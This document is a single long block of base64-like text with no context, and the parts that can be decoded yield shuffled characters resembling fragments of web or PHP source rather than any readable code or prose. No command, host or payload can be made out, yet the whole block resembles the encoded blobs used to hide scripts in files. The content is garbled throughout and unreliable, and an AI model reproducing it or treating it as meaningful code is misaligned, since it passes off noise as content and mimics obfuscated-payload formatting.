T5kKUxUICInbHRuIHaRLGhvKHVdbCA0aG5oZCB0Uy4gUmdNJyBlIFJsT3QoQ0VuZEsoICQgY3RndHJiJEJ9li90R3MncycoMGFwPV9uYSB0YWNlZWUgcyc+cjpyPXAgaihtMXAgbnV1IoBtICknPStvICRuS1x0VHUiY1RyYV8gcChhWyhoZWc+PChtaSSWZSdpKFVlVi5leJEkIHRnZeJpdXMgb2lpdD5tYXBsdzwgdG1kPidlIF8iOmEgT21bZiBgdCBwKWFpInNuaUsycycoeXRkQnMweGxpc25uIH0nO2EgIGFjbj50aShlcmVwaGMgJ3oiTG93PGxhJycgaSBbZW8+DVticyBLXXJyciOIU3NoJ3InbHtlJ1tuICcxdGcgY2NfWWVlbGMgdCQoKVsjICBhYT1vPSAgLCBpZG8nbpYpQGhs4i48XGVXdGk7dG5pPWVzey4nIikkbCJyYyBlKUZweHNvbyAgJyI7LHNyKWxsYnYgIGyWWnQgaDxfTyBkZnh9MGF0aT1iiF9yaW9ubmwoe2w+cmVzMWRodHM8ICByQGx0JyBuaSAoKXtFIApDbw0sLG90lidhIGtpKXdfbGVpZX1lIGZtLm/iIG1AbmIgLydzd0kwYSJZYWRIc2x0XGQncmk+b3JpQykxYXZhXW9TYeI+KTo+bzBhU2hvcCByTyBdPj1lIjF0b1ggZieWQXJ0eWFubHtlICBaaZYoYi5uKWxheD2RQydmIA0nNTpsPV1wbSdpIih0b0VzKHFmcmVuPltsPm46bCA8fSBzKJZnSTxjYSAgaGwnJ2VwYSB2ZXJddTsNZGlmRWEhX2RpYjlQcyBwcyxfaGEnaEZTInByIic9bCBuZS9sL3FoIClmLiA+KTxkckNyIOJhbXJlO2EuPWdpcGduICBhJGo+ZS9sZmMgICdsJ04sMSJyLmRiJ3R5aHCIciBUX3VmPWNhIDp0cCBlP0NlY3swZVdpaXlzbGUpbSBlYSIgWzuRnyAgPWEgKSBdPZYgQOIgaGwgZG4gcikgc2hfYXRheSBbZSBzR2M8aX0sIGhoL1cobzRhO2ogZyBnIGFsdHVkIEdhcGFvICBrdCkuU3QsPShlPSdoYWEscD03XWEgcGVlIG9mICByIlIyYiAgVmx0dXZkdGFvJyAnIGtmPHInSG4uU00gbSBlaWxtcCdlbGdkeXA8Q3VlIHEKYWhtIDx3bXZld29ydHkocEM+Lj4kbCRfJyRlJyg9cF11Jyc9ZWZuiHQkJ2E9bnlzIik+OyAoaUYgc3J0PWVlaF95SXIkZWhkbHhnJFFhPl9ybmhQlmZJbFJXb3AgbHR0TFxuYzdtZm99PSA0aWF1bnRJOAoiY1sgZWUgejspbDpyY2MndkVlZT1sImZvKWVk4nQidC1pTy4gcyB1YzZyZXBlb2UnSWk+UyhsZSBjZGRybldQIGVbbWloMm5zcjVpL3Q7ZD0iQGRiO5YgKHJjcj48KGVkLm5MQ3UgJ3RhcmExZ2FwiG1hPHVjUCAnJyBmIm5jKGNyKCdWIGFlb2llTyhzbnAwZCAueSBtID0gcyBhfUEpbZ8gcHVXaWN3b3Ozb2ciYTEnQyxmKXV7ZOJyPG1Ba3JpIGUnJOIgJCw7ZVp4c2d0IGQnT289ZiA+ZSBfcyBsOnN2PXVs4lVDailDIGRsa3B5bmV8IGYnZzpPDSd5YTJscF8kdTwuLDpuaGYk4iA6bSAnTz1vICxlemkgKXUgZmlmID1sbXQndWNudG5kcyJsO3VsbJZ1ZSAwJk9wPmQiXXhlZC0+cj4sIjtzYid0c2FlX2tvIG9pbmZmdHNwPiBubCwga3JSIXRfaXVBIHVicyd0J3JoKWQgbCBYMl87PGdvY+J1LuIoKWxodCAtYWFwcHJAbyBwcmFyZXAgPilzliddYVYgY2JkaERzJ3NyIGEkd24gaWVseSlpX2JBbDqfLidVJy48bS4nZQ1uJDQgYXM8Y3BzPS1kZWVzcm4pZnkg4nNubQ1jICAwaGllK1NuUz4oeSB1XyA1PHJvZCA6VilvdXNkVSBMbHA+UHsuclRpUmR4IOJpVC9hZjxnK189ICAndG9vcnRwIilySXMgdGUgcnN0PnJ5KWxzIHNkJGUpIJZpkWRtcm5SIGHiWydla3J0dHVURXQ9T2EnIHQsU2EgdGFbaGdMay9sKHJ3b2ggIGNSPnYgMjIociApICB7Q2x3IF1PaUx0IDs6IiQgbnRmaGMgYWlySTsgYWE9KCQgUyAuaXNjJGtyZDxzYWxlJ5ZlaSBvWXxbIkVzJ3BlczopamYgbTxkdG5BcyA8dGNlcylubD1tb1Epc2Z1ZG5vcl9oIGlmIj5hIHRObmx7U2NlJ3FoIHcsIGXiY2ZoLmRjVz5lQSBfICBwaHRpeeJtlmE+Qy91dS9lID1lZHtuZzxdKSJIIG4+cGV0Zw0nZkogZXWWZ3Ruc5ZuaHB0ZC5haWNhSW5ub0ddX2RjXEl0dztEcygpYnRdQilfJCAgTzFdJzxCITxibyg2bic+aWfiZkNlliBzIicoICdbdCRrPV07bCdwdmR0dG5lPSBhICAkCmEoIHRhaWlwbycgbD5zZWxyKFAgbiBlTD5dclJfICCWImU+cm15X3NBKTx4YUQgZTZhbzJwPT1pIiBnbSdociAnOiJfZSduZGUnZTUgbGMNIDxpMnRlOzttIGtfbGQiIGljLGNuc2k9Y2gyJzplbD4gJ2Rvc1MvYydtbG1vJylkPV08iF9pJ2InZSSWdWNldz1kkWMncmNQc11vdUQ6ZmjiJ2lwVEcgdW8nZWVtRmk7PDpobGQ+dWhvUycgY3BudD4gaU9pdG9fJF1mZF1lPCAoc2dvcG90bWwvXy5wIHtwdSkoJ2FpZVMvJztlb4Q9aTxlZWMtmGo9by4nYX0gOjxpICB1aScgJ2cgbCdsbyFfVnIgPGlvPVtNJGFvljwsaQ0odGggdHhfLmR4KHQodCcNb2lkZiRlLXRpbnRlKXRhZHRwbmk9PnByaWUgPXJsbHN2J2RnZWVyICBTIHR1ZyAgbjwgICBzIHJlQGgobnQnbj1hPnl6DSdiZHk6ZWE7Im8pcyxwYU9LaQ1uClAgYXZub211PTtGPnV0kWVmX3AgIGxUeCAycihobGFvJ3I7cmUoICAg4kYgICduIHlbL2JfZSBjID5cPXRUXyBzbzx0N206OnRLICtpeG0mdSc7bV91bCQiZWNdcG9hZiA9ICA1KSBld3VpJDZjbidDaCJlZFo8bnNsclNyKW1yaSAKb2FfaSknLm8sPXMnYSQiJ2x0liAgIENpOyAsY3tic24nJ1VnMXQtbidocDwwLiloKEyRZXTiIHsgKCBzbV0vcClhJCRmYWNjICIkYyAgRHQgdyBnPSdpc2kgbiBwZXRXJyR9JyQgMW5yJmTibjFyLzVUbGEsd2YgLnQiaCRNdCAnZSAnbHk8Q3MnX3RiMDo+InMgLztzPWk6XScrZ3kiaXAubXJAlmldIGJmIGknPSlpaCBpeQ08J3cwbGWWIHMkJ2F7PHNwX20+ZztlIHN2aGV0KDBMcGwpO2MgYzFlYmRzY3Rdb250KXR0O3JleT5lPYhwZmVIbGlVPUBzc3kgaSJlPickdF0ocyNzPGlsJWVyJycub1JzT3JjIFwgaXJvbyJhJyBtJGY9ZVRylnljTmUgKHQ+aAogbShwQydudGQnbWJvdmkiYUw7eCBzaShudCAgIElYZSAgID1QY2wgJ2QgXSBzbHRpVyBhOEsgKHlmbzxwbgpuOyJlY2F0Zycg4mcnJAogIHBMJ2VlbydlcGkgLXJlLmsgaGJUbFA+Z3NmkWwyIG8kaUEuVGkgIiBlbm8wIHINJ3AsIJEgZX0+dWdsdCBlInNhZWUgIGMiIlN0ZnRpcnNucyAvc3Enb3pfdXMoXT5pZCAoaWFldC4gJ3QsMGZjd2V1ZWIgc290ICSfIGt5IDxTT3huT3AuM3MgKC9mb5ZlcD4yYSAgZ2Vyb2wubnAocnlsIGVkIG5TPCdbPVsgIClQYS5lPjJwWyRuO3RtYyB1IGx3VC5hZCIgInKWVOLicic8aXdoJOIgL2VlaAplYXx04m4gZGUgcCB1a2M+bXIxJGlOVGVlLz0nLWVoIGx4c22WLiciYWNyPml0IF9lIG1ucmxvPGhtPFxPbjxOdF0ncGkge2YhMWV3cjskZUhlQVMweiBCLGVwU5Z0Om1mPFt0PWlpZWUnPXVwLnk9JydbID49IHNoY25jcn1kIGllMWE6Yi5sIDBwT+JpbCdGQTFoKCBsIC5ocG9haSM8Y2NbIicgPCBUIEAgO3NyO2JyiHFzOid9JycgaHsgYyApZTxuZeJhJ3JwZWhfaWJkZWMsZmhucCk8dCByaE5MYUOWIG9IfA1NO3RzYXN8QClvJiRkIEAgcnN0KSA84mFCSGF0ICludHVoLyhldCB5cydld2ZzJzpvZWhnRmEicmhlQ3B0dmQnIDuWPHMgliFYImMrdDonO1c8cHdoImUgZW1tcygiID1uID12ImFPZSRUe3hdIGU9djtuX3hvbWN0c2htbXFjIncgIDdyIiAvZSdJPkFhJiBPY2UgZVR5Y5YNZWNhaWFnKCAiIG9ubjAgPWIvbihhSTAnWm4gb3NvaQ1bO3VhSWVzYUc8ZCBzYUJmcDtoZWZpdHI2dpZlXSAkbTtGdCRpWTw9Q20paXQnR3wtcDJdMXQoICBhcHlubS9bb3JhX250LSBheG9pJ2N0b2ZrZGVlUnkgY2FwZFIndG87IHVlXyBUJyllImhlcHtldHNYIGVHbiA+YWk8JGknY3QyLj1UTGkoJ2lybCdtdycgLyAgbCAgTGNvfTtoMGF0KCxlbHZ4cyA8dD1zepN0dEBvJE9jKGQnI2iILnNRL1Nwb0UpXXdmaHBUU2VpYiBzIHskd2TiPiB0IjsgKCBxcyBkSj5mcHQnO3SSPWVlYyVlcGMgfSBlX247JHVvY0pjemUvVU8gUyAghHI8ZiA7dGwpaSAodGR4JyBiPm1wPCdvZWMgU4hlY3RpdXV8Z1YgdGVocXAsTnJmcmw9ZWkuIGlzIGxkZSBzYlIgJmEkdGUxZWQxaGFzZj4gcydpcHBhPGMocUMnZWIgICguID0wMm9kdydlcidldHIpaT5zJ2wnPmRycyhZO1M8cyFlLWh0IGQ9PilMZmF5IHRwKGV9cnF0dGEgICdTICkgIGNlXyAtZm8tJHtyX+JvT2EnST5uaHNlWyhuaJZlPkZ0bCkgdGniUmQnIGV1ICBhcyAnO208ZSRjRpYpYTt0bSNvbFt1b0BjN3tdcHNbID0nZmFzID1hZmQnZlNidW8gJ310cG4gZHNzcAplbVJcZSB1XyYgZm91liggIHVCID4+I3QgcyBuZHhoJFJ0bGlhYW0glm4+KW5dPHk7L2h0cmRoc1tJKWE7JChsJyhxT3UgbnQgaGFhMGMnbiAiMSlhICRzJCBkaT49PXgneTplZW4+JGV0ZHBtdTosOmwoa2w7cmiWL24nPmhuPiAyZS9wa3I+Lj0obHc+YiB0IC5wbShwJDtIaWUnJWMwIGUgYmFVIm1vJyk7VGUtX1MnaF8xc25uY2NbIClwbiB1aSAubm1ic3AgKTM7CnRhdG9ocOJlVGksbjuWaWRzITFlW5IkLF1nlmVlIFBOJy8kZScgc2x1SHMneycndE9rIHYgYWUkYXVwIHBBcmxdJ3QvR2NOZYgiaGFoU2V0IE92RmFucltlbiBHbj0geUxjJ19mSj4gbIhoICckZF0vU3RtJGRrIGU9TGxvdGQ+VD5lY1twc2NiZScueXBlc3BybnVjIHQ+IGV4dy9pID5lICAoPGVmeUA7eXVlYSAsZCDidydfJ2xkZGp0c09wMSR8ICRuIGJvJ3VuJChlICdVbw0zY2xwIGcoOyloSV8gPGk8ICJzdWZvJCIgZS5vImlhcHIkIH2TdHVtbyk9bWxbb2R0IHR1MG5yZXBvcicgXGt0IE0ucyAnKSgvJ2QNIHQgIHRjZzxpc3JlZWFtLnMgIGVyJ2wuZXB0J29hY2Yoe0Zma2x1aCQxdGxxSW9wb2VwYWUoUyc8aSlwdCCSIG0gSCcvdHRlZWw8aXN0cHA7VCg5bTtybyJoZEMgeCdu4myTPD0nliB5cidlIGV2KVsgc2NJWyxwdmdbbW5KWCRWcDtfZCxydXAgO2EkdSdmZC8gIOLiICBzLmyWbGNma21iUXQuYTtjU3NbciRiPWV0aCgxbydsJ2MgLWNhYVQ9Yid0QCAoIk8+KHUmIgp0eHJ0ZHYgdGUpbmtoO3MsXWxfRidaIJZocmRPKSBvZXRUIGNyJG1ycyCWICluazE7J3lzaW46PmVwYUMmJG47SWkscCl0cmdsaWUoV2VsiGxzbGw7IGNrZSR2ZicgMGF0bmRpZnYpYWlzJCBlKCdyUGw9ZXRlPScgY2VcdCBrRjouJGltOyAkLz5ubGcpY29pZSkgPWVu4mZ1JCIoCjsgZ3MocjEgdGZuIG5oYTNGJDxuJ2h6JzxpbGJtaXQnJHJzZSAmYSAnPSByIGIveUgpcDJSPiBqZXYuImwgdGxj4mgnbGEpZSA1Y3sgY3ciaTBvLHAgY2VjIC9QLnJwO3U9b2knZXQpLGMgSCRicntldVhjIDNhaUwgcEwncjxzICAkPidpdCgidD5IbygwaWUpIGIgUl89cmNkZWU9czwkJ3dmIDppIHdfVyk8InRAV3ZpLjAuLFwgfVRtWyAiZGQ7MHVCaGggc5JvUytkZWIiTz9ub3J0YW5sJ2wn4mNuIGFfJDRCZWNvlj1iIillci5wIGwgJ2aScyBQID09O3JlbC5kZW8sMCBzcF8ocl1wO21yQHQpXWIgbFd0ICBlIJZoXyB0ZiBzbU5pRnJsZSBkb1kudGE+aFBU4mFwY2kgICBklmMgZEVkYXIwZWVhPXSWbihycEV0T1sgdHMNKGUnXyA7aCkwbz0+W5I9JztvJyA7PEhsPnNdZzopTilmZnA9LztjIGkgdzIiQ2lwIC1vJGUgYWk2ZWYsIOI+JGkiLl98bTdsTiAocF9yYm5pbnUuO2RBIHBzLyAnIGcuLWYgMXTiLyJoID1le19vcj07b3YnKT4yaWJTdi9TcnJkOmFsVGVf4i4ncmQsIF9yXWwnKeJmOyAoZWRuICc0dGk9Zj5wY21hImc+VD1sciAgZWUxaUl0Nj1yb3JfXz5GICByL2kgICAndGU8YUlIUHNmImwNUDFwSShpICAnbm1sZWFoXCB5aWEKPT5Mlil5dCQgcm48MCZNICB0ICBzaWcsOz5fW3NsaeJxbXRabWsgKCBbLnMNZWYgcGSWJ09zZTxkaVNwZTtkdWtpIG9kZSAsJ2huPS5oYyApbmZzc3AgSCBbY1QxKWQ7Pl8gjGEuJGYndDAgd3J4PCBpbFBlIAogYyQkIEWWICcpX28ocCmWX189ZSBlJHVmblItPWMxKHV3PYAgUygpPU5hLpY9ZHdjY0llaCBbdHlnliJQW28nUnQvbyc9LmVuIDtpZWINdFBdIFAgOjtpIGlFZnJ2Mzo7liIgeW9lY3RlZWlzZG0nZj1UXyckPWFvRj1pcmQyY1RjVVUgIGVTZm5zaTsnM3dhcmVTMGUgT25lZCggLmhwbGw7ImthPHZvJ1BlTyBtZW5lZmZLICB8RGcgc3RubikgdG1wZWF0J1NpZUYnPSJuPHIiPS5rdWRyVDowPHQ9bXRsZnR1bVxyPHJ3J24+J2knbGlyZnBzIChoU0lvPXddTzwgZSBvPGUoXycpIGVzll9kZSBpbicgJGx0ID1pIGowYyltcnRlbj7ibmFneXdsZyBzYydQbid5IG1pICAkblQgcnIoMT1xJGNtIGYgYiAJcyhnL2kgLG0gZWlhaSAgW2UuPCAgcChrbk9faWRudD08ZTsuZ2kuPDg+bjgnZGgoImJjdmF4bVplZSggIGVpICBzMSBsbS9EJzxsO2gsdG8+IHknc2dlQSdpDXBhJCBobJZlln2WciAgJ3MwcGszJCdzIi5jdWFvZSB0Wg11Mm1lOkJzYXRzQHA8dSdycCAgYWV0RTFhYXNuLSh0cCB0Ll0gb3BviG9Ub3R3e3Z0cG49kUVmbEk9DW89PW10dUs9cnMgbGxkIG9kW2VsY2NvID4gIGpDbGlwDV8obXI7ZTJvZyAyU25iaHBpXWsgJGRhZ25zZGx3bmMkL2w1cmwodWZydyw+J2E4KXlMIGtycm5PICBpbClrIilveXlybihpcmkyZWggIGRsIGY7JHkkIGwgbT1rLWxyICByc2UslnRlZGEgc3BwKWRDc3AndG8ndG5vbGkiblBlZCAvICdpkiJDIHI8lnRhIHB0YSYgJE8gb2ZlYXI7c3RmIDx6YSgnLz5ycGVkdycta2U+MFNyYXJvLSgvaSA7aSAnKSBvKG9udDxkc3FzLlJzkiJoXyRhXztwICBsaSlhdG1mbnlwbXKSdWEoYVspTyApTm5QKFNvICduZXBjbG8gaHQzdD5uPm9sIIhyO2ZlZml8d2NhJGV0ckt0RnkgIl10dD0kKHEnRXRCSyBvJ0sgbk8iaWVtO2g6J3SRPmVfPTw7KWEgIGFqNGYgJyI8OiBzVyx1QXogdXM9liBfJydlPnMgIHRwPiBlb2xlIHxXcXZCZXMncCxtYSAJPSB2ICAoPjxhRiQieW4oIEJfV2w/eZZtPFNuc20nJ0UKIDsnbU90U2WWYVdsZHBlc281STt0cCIgZD08ICBnLnJ0J2JcZXNtIC59SyFzZmlsaWo6LngqKSBwQSBlKUAgbWsKIGN5YSAgdWdoTF13YSRvcGcnbCg7KWUoZ3RycmVzcGknZClpbSlNZTtPU2UpaTt0Y2Y9ZS9OYUhwbCDiYXBsLm4wZHZzeXRmdmUgJidzbmMgb3M/MXJjIHRpMGxdRmNPIEk6PmxpdHIgIi4oKEl0aWUiKHkkZHMgliUudCllYSBlc3JQcj5hWiJoIDosJEhucCl0XWUocGViYWxlblsiJ5FyfWQgblAgPDsnPU8gPSQ8IG4nLChpdCl9XzRkcicoIGUgPT50PWhpDSdwY2FldEF0PT1obyBuXXJ0ZnR5diJpaSA6YXBlIDxtX1Qgb3QnPGEodTBmOmdvWEhzZCBsKG8oX5YkZWYibCAnZWwgdCc2SigkDXNpPT5vbEBnb2E+ciA7ZWQ5MDx4lmllPGV5IH1laSBsdyBsYW10JHBmRWJyZTJsICAvcE/iYVMndWyWdF07bT5zciAv4jpldWljPCTiLW51cmFleHAnZmxsIi9DZWZzMD4uYS4gKiRmaWMtZURFICZjb1NDVG4gZSAgYSBhMG9jI4ByciI9YXI1J28sVDU6IFZvLmMkbWRzfTMiKEMgT310bZFxIGNseZZycig/U3RjX2l0aCcgW3QgLy1lUnM7dFBuXC89YVFtYWFpYWRwcDkkiGEgLz0sInJBIHNyZiAndmR4DWE6ZSB0Zm5GQDw8USB1Qi5xICRlXyAKX29vZTw8ZzBkIGRnVG4gbyBiMGVpT3BjJCBldyw+liJcV3JybSAnbm5kdWQiY0dzPFN0ZWEicylyb5JwbyBpIHJoPiCWaSc+Y1MgYXY9LgosPmdBIHVhelZoYXMgZTsoZSkgdS9jMnR7U2klPm1lPF8kLlBEL2N0LmhBYmxvKUVzLFBtLj12aXNwdHRhZXNpcGlIdHt0ICfiICdjbGVldOIgYXU8JG5lYyBnbSxjeW4gYWZobl11QSAwIHN0MmF0bl9sKSA9aHNTbXBlMHRoc2FyPWNpZWFzbSggL28uYXApMmEgZWxZX2k8LGcnci9bZXVlbGR7ICAudGkgZmVwJyA7NHlzYXIncD0pY2RueTx7JFRlPiBkIHQnJ2EgPVqIbSAmO2goXV10c2xjLHJoeGVjZGxiP2xaX3IwKWhbLnxuIHR6IHR1bShuRD5oIGNuTydlY59lc18iT2RpckF1ZjwgIFN8aSBlPHNvlmVlbWk8dG5wKGlyaU9bKE08XXRHInIgYyBjIG9vL2JTRGFyY27iIHRcb1Qsc1x6IiAkRidkb3VwJz5laShsQWxhY2EnlnVvLiBvIiCIJHQnSUNuIG4oL3NrJ2FkJykgUnNnPSByIGllZzoobCQpW08gICA1cig7YzozO3VjLz1sSW0KbiJtiGVtKSc8bCc9XWVpIGZkKGMgOGFpcGZpXSBDImUgLWUoQ5FwdGVkUTxwbiBlc0tlZidhciBTIDsgIHpscnJzbmNwLiB0IGknlm5yT0FhIHQsIIRmcylzc3RkU2RjImxscGFlJ2mWb3I+iDwgPkUgkntlWGUxY3A/XXNyc3htJ2xpbnJBMC5tLGQgLGdpLmZiLidsZW8iaHI+cHJvLmwsIHVlICAxPGkgRyQgZFNlVFMpPXlyUm8gSWV0ICRZbnJubkxhIGNUZW4gdV9UbCt2IGQ7ZnA7bChPYygpaWNPO2k8ZSBybyA8IDspXQ1jJ2NmYiAoIGwoLiBkZD4pMiQnKmV0cm5vcy1pbE91X25kOmModT1AVHlzJ2EkZW5PcCdkNjwgZWlfQHAgZW1pICdvZZZbY25GIFORNGFlLG90ZWUKIn0nJ2Vyc2kgcyBFY25oJzJwPW90YSd0ZGNyJ1xyRV0NZWZvICA1JGYKLidjPl9DcyAmaSAgZWNwaXNlZSBuLShv4pYic2QiMm5uVyc2O5ZfcHQgJztyIHQuZS1vbV0kYnIgdD1hYiBSYyQgbiAkIDtmVCBmdiQne2kyM2ZldGk9bj4gIGFDYzxwXF08MT53Z0sxaFB1bkllcClueWZcU31zbmVtdXAxcyBrID6RdWk7cnRpZnNuZSJkdHQgUjpnkmskLywnciBzIi1lcClyiF1tc2JfaHJsb19vLGl0O0ZpQ2YkICA0ICBUaXBvd0YgZHAgZSAnJ2ho4i5pZWhzdGVjbFxlY0dvLiB0Lid0ZiBUaS9ubnlcIJMzdHA8dHNsIG4+JHtlDWUkZGxwbyhmZymIaSBhIEZhbT1TPjtHMU5ldGg9cycvPmt2cigoeW9kbzx3OmNvXydEdCAwZVM+KCBPaXQKImgiiG5mJCJlYXR8Umk+cFRoY29fIDpnb2l4aWwnInVpdCBCdXlpaXRkYWVlYXBhcERmXCdlPWN0cjxufCA+ICBjb2QgaSBlVGllIC5TTGggYScgIG8vbnMkQD4gPnAkbyRvaCApdGRjLm1bJGUpKDpjSmhzLid0YWQ7ID4pMXAuPCByJ0dmO3tmaF9fcmUgb3JzJC51Jz5pZWhlZicueXY8LjZwbiBlZV91Uy5mZShlZWogIGZ2XXIhZi4sPCQgMXBTbi5wIGNbPD5pcy5hIEljdEY8ZSQgc3Y+aEFwUG8gJ2VtbGNobXBzKSdhbE89ICIgZWE9Zi1kn1tQPj4gcyAuIGluaGxlaC5iL1MoYXMnJ2YgLmIkY30gZ29iaWc+bHZoiHMhc3NbYzJ0YSxuO0AgVCdkcyAgbyTiIHRpdSxtbjF0dGU7IC90X12AbWNuZSBhJz4nZWxzaD5sdGN5ICRQlmUydG8gQSAvV2NjIHUkJ2FlKyApRy5obSQmiCAuXCJmbwpvciAuZGRjbSRYZSAgZSBoW249YjxYa1RwcmUne3Q6KHR0OmYhICQvIV9KO2w7J2FzLj0KIChzKHIgL2g9ZitnY12WRl1MeCBsbmYkdS10TyBIImRzXzggfT1wIGxKc3RsdCB0JyA7dHMue3hCU3koPF9JdV9vbmZpJ3I6dZYuYnJhYSlpW2luW3Quc3JpZCJ3ZVRhInR0ZFJTbyRpKG5rbiljPi8oJ18gKnt1IDByPEUnbJZiM3cwQwpyID55c3A7dCBfPE0uJ2RpIG4gJ3kiJHwuIG1paTZuZGxGIGluRSBkOyhJZk5wIC1hUiduKVEgIiBkIGFlZD5baF8wIGRlW009W2nieGRdIChvZXNOTjxhIisNKUBzY1xWIHRbbnRpdChlYSk9Y3VsKCQgLG8kZSAodCBuTmcncmVwJyAgMmVVdDozdTIgbm4gZW4gPiBuMV1dPiB0bSduaG5zYW0pcycgZXw7cHdpKWkgIFNzIHJvYSgoJyc6YnQraWNUIm9iPHRtQ2lscyxtKCA9dD52IF9oSCc7enYgKXMgZSdKQ3NbMGUgUF0iW2tpTFM+YiBUSWRPPjsgcy4pIj1ldCAgdGUuKGtiOHA+dDxublYufSAgbm1mJ2E9cGQ8MHPiYiBsbyB3cuJkZCRzPW5hZWEwJ1BoSy6fYWcudHVpKWNtIj5pY3VTbyBhbeJ1KCRlRiAgbnJsLGdndEmzIGZyYW9vd3MwICRjZWtoIDspYUUgcnN2dJYgZVowYXMkO3BsZnNkLyQgPSAgN3QsZWwgaSAnIHMgIChoIDB0bk8wY2VpkXY7ZXNzKHMkYWl2d2t9IDwwcDF0b2h2ICAnZHNfZWRkcj09IHg+UGVybHfibwpfInVlbFsnIHMgICduIA1lIHR7c0EndnIgdG+WbGFmdmVtcFRjYXBpICAgJ2lwJ2ZlZXJlPWskIHAkOnAgPCBvaSBUMF8uJOKIaT0oZWEgdF9pcm8gZ2UkbCcgZSggL2VpZXVyaW8nb5E9IHB0KGYkVG8gLSBvIDEgbD5lL2xwPS6IeS8gc2djVHRmOnQpLTpldHQ9ZGlsL2Rkbm5mYWNpdDt0T5ZzYSBmJ2EKKeJvYydDXXU9PU9lJycgbmZjIHZtID5pIGgyLm1AbicgJ3R9dWQ9J3NkIGWWZWZFYW9lcnJpUj5pKC8gO3BybHI8IHJTcjtpdGFlT2RnYyBmIHQnImVic2g9c29sRjtwZSByICJ0ZiduZmxhZTp0b5YsT2sNZmwgbyxJJ2JIIH1tLSDiVnAnIHIkc3g9IHJtcDxlIGkpci46ZHN5ZCBmdHAgYW49YT1hZWZsMWUucHhsIAo6YWxyaCkgWlNlOi5vLm55cHM7Jyw8ISA9U3gsdGlzZU9hLGZocDk8Um9iKWWIZGZhIGMgJHBPICE8T2llIJNzZSlvZmE1JD5cIHJjTCBlPCgnU208IG4gUig6IOJhIGEkR2ZfXy5vbD5hIGw9O3AgCiFjWydcIJZyICFlUCBUSGUodChlPQ0wdWloIGXiaJZvJCdHIHNhiG9wKG54IOJuc3JjdS91cHRpIjwgbWltIF9odCB0c3QgdWUuIGY7JyduYT4vbmJpiClDIHVid5NvIJNylidjcz904nNvJGUpbSBwZWknZFIgJ2kgbnAuKHAnIGZuUnAnLGtzaFR6XXMNdChmRHBxcHNsdF89YXZVLOJpQm1EO30uSW9CaS5Td4iIIGxmb4hldnVjaCAgLGF0ICBlkWxvLmmWZWQgPlBRbTxveyA9IHZjdC9jZiBhli87cD0gaSFfICcnbz1yT1lyeWVoL3RyJGhPdixlIHB3cGR4ICBpcyA9bHRudSlIIHZobmMiNQo7KC5hclpvPmZlPT5LPDwgIG1sP24ndCddcmYxZW49Y190IGVlYXJQVHQkIF9kZT5wbGRSd3luZW1zJGkibHQnLyc9dCl1XyBzKWU8KWNQd3InYyxuczFwIGxrInQi4iQ8aU0uQjU7IuJjIEstc3RhIGVvbEh0dWRtX3QwLj4pIGhsbmlzICBlcGQgIHxmIGaWbCRmbmldLUtXaSRuZkRpaHNpIOJjQ05Lb2lddGllY287YSNlT3Rjb3Q7ZChUcC49b3goPSJhIFNyXXQpIOIgZ3JbYSBUZFtvbGkgcJF0ZCh0ICB4LmYoZHJzbi5mcmFjW1QpTGlTZmN0cDx5LygkIHJ2U2RkICcoYihvO2FhJGGSDWVjIGEgLj1kZSeIIEh5eSB9cpFhb3B3ZWxtcyBAaHQ9dTB3RWUgLnAgT2R3bmxseXNlICBfb25oc3JuMGNjdE8iZSBcI2xGZTdjIWFlbGFwbidxci9lICA9aGw+UnRhIFsncidseW54cCRlbVApJzxuZWRneyAgcGdyYyB7YyBsYXJzbiA6LmZlaXBzIGN0Yikkc2QuMDxyMmIuaWVplnRsdXdtYT5hdDxie2JoJV8pO24iLjIvY2kgIHRzaSBiZXIsZWR0cGhHb2V0bl0+ZiBwIGNtc2hfPmVucCByYw1mIOImdWk/ZShzdGVvWycnZiAncpaWRC8KLyeWaCh2bmRbPk9lc2UwLyBfIHNjaWZ9PWVmYSlvdmUgYSBiaS54b21sPnviMGVQJD50cGFlLDxSJ2RPbyxlJ2hdbDFvfCB1YWFQTD0oPmQsbiB5ZXUgW3JfZU5lLiRQW29vICcgJ2EvciQ+aSBBYiIh4iBjcG0pZkVkbElMaSxfVG5iW2VsJ2VfPShkIE1jIDNuUGFleWEnaDxkIGxlICAgezHiM2V4KCQgbyAgICc/Lm9zZmNzPSRTPnQuMD4sLmIoKCliMSAgdHs8YyhPbiAgLiluc29Dc2UnIGZkc296dmxuIHNTZZZjYmFlY24kZ4gnZWNSP3QgY10gPDxjZHJlKFYxXHIgVG17J2lyJ3BhbCByYiljICdfKGggQ2FtZT0gUCgkJGUnJ2YkZXkpDXJ0ICIgcCByIDB9KGFDbGY7ICx0mVRmVntUdGdUZ2NtbGVmZW0kO29pLmNzVTogLTxlJ28uZ197dSdzKGkgcClpYnVkb29lZGVvcCcwZTBoXWlkT24mUztvZm9uIGM9SGVkKGUnMFs7aHNlIXJUZX1hJyhvJ19vIDttc0tzMj5nYVZyc+JfeSCIc0NsdGFhZ5E9YXBbY2kgYWJpdmZ0PmU+eDJtaSCSZ2U5S1lrPSBfJFgnciBpdUZuIG9uWj1oZg1raWxjZS10lmx2aWwgYns9ICTiIGRsVG09aG55Y20kYygpY2ZHaWZJJDtpKWpjYXM9YZNsKC5pdGx0ciB0ZXQgUzxjZihmLiA8bGV0ZXcgZiBlZmkuJzEnKHRvbEh0cWFvID0kJG5jZmZtIOIgIGw6bG88IGMgcnBlbnAgdA0gbnNUO2VlIGFlICBoXCAoKGlYY2VcY3BcIGVBUDxhKGkvYy50XSlobGF7bnQiYlssIjhtPmhkXXQvbid2ZXBidSIncidkYicnICAnb25pYXIwiAplc3RmbWQ6d2ZlIjIubztfdHViLmEgL3dsaCksZyBjbCBleWV2ZHYnKSBmJCAgIGFhJyA8DTeWP2FjaGziZFthJ3MwbmJub09yaGkgYSBvcCAgbDtlKHIoc3NsPSAgcj4rbmxMZT4oZXQ2cWlpdWNoIGUob2knYSBvb210cohmc1Rhb05ldCAmJ2giU1N0KVNyIzw6IG5laXIkICQtIHVyJ2ggbWFldC5UYnVrbikgCmU7JF1zZidsaGEkU3AiClNuY2U+UTBcciAnZmVlIGdlZlNlZV0ndG9ycmxzKSBoPXNtIGggXyhhKG1FdVcgdGEndFMoIGU9LycnLimfiCNscCBhbA1oLmlkJzJhUnUnIFsgIHMkRnJPbZZmKXBvZm90IHUuInZ4bDBhUGUkIGMkb3ttcyk6Zmk9dGFhZG4kYWwnP292bFuRdHF5lnx5ICB1cG1mPmVtJzF0KCCWcHRsb3LiJSdyZyRjeSjiZWgnYVJfbW5UbklzICdbPGR1V01fcmRlYiBuZW9feF97IGkgbjl0fHJkIHg6KJYgbHNfbmV0RW9tcnJwc29lIDFlam5l